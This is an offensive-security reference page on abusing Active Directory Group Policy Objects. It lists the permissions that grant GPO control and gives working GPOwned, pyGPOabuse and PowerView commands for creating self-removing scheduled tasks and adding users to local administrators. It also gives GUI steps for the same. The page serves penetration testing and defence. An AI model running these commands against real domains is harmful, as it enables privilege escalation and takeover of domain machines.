Group policies
"Group Policy" is a management feature of Active Directory. It allows admins to manage computers and users. Group Policy Objetcs (GPOs) make up Group Policies. GPOs are associated to AD objects (sites, domains, organizational units (OUs)).
Group Policies can include security options, registry keys, software installation, and scripts for startup and shutdown and domain members refresh group policy settings every 90 minutes by default (5 minutes for Domain Controllers). This means that Group Policy enforces configured settings on the targeted computer.
In certain scenarios, an attacker can gain control over GPOs. Some ACEs can give that control (see this BlackHat conf, page 28):
WritePropertyto theGPC-File-Sys-Pathproperty of a GPO (specific GUID specified)GenericAll,GenericWrite,WritePropertyto any property (no GUID specified)WriteDacl,WriteOwner
GPO-based attacks can be conducted with New-GPOImmediateTask (PowerView module), SharpGPOAbuse (C#), or pyGPOabuse (python) and GPOwned (Python) for UNIX-like systems.
An attacker can edit the GPO to add a scheduled task that runs instantly and removes itself after, every time Group Policy refreshes. The attacker can then gain access to all AD objects this GPO applies to.
UNIX-like
Windows
From UNIX-like systems, a new immediate scheduled task can be created with GPOwned (Python) or added to an existing GPO with pyGPOabuse (Python).
# GPOwned (buggy, not to use in production) - execute something (e.g. calc.exe)
GPOwned -u 'user' -p 'password' -d 'domain' -dc-ip 'domaincontroller' -gpoimmtask -name '{12345677-ABCD-9876-ABCD-123456789012}' -author 'DOMAIN\Administrator' -taskname 'Some name' -taskdescription 'Some description' -dstpath 'c:\windows\system32\calc.exe'
# pyGPOabuse, update an existing GPO - add a local admin
pygpoabuse 'domain'/'user':'password' -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
From Windows, a new immediate scheduled task can be created with Powerview's New-GPOImmediateTask module (Powershell). In the following example, a user is added to the local administrators group.
New-GPOImmediateTask -Verbose -Force -TaskName 'TaskName' -GPODisplayName 'GPODisplayName' -Command cmd -CommandArguments "/c net localgroup administrators shutdown /add"
After a successful execution, the scheduled task can be removed with the following command.
New-GPOImmediateTask -Force -Remove -GPODisplayName 'GPODisplayName'
An attacker can also manually add a user to the local administrator group. This can be achieved with the Group Policy Management Editor.
Step 1: create the user
Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Create > User name: <user>Step 2: add the user to the local admin group
Windows search bar > Group Policy Management Editor > Computer configuration > Preferences > Control Panel Settings > Local Users and Groups > Right click on it > New > Local User > Action: Update > Group name : <Administrators> > Members: Add: <user>Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command:
gpupdate /force.In addition to the aforementioned exploitation paths, GPOs can be abused in other ways: leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
Last modified 2mo ago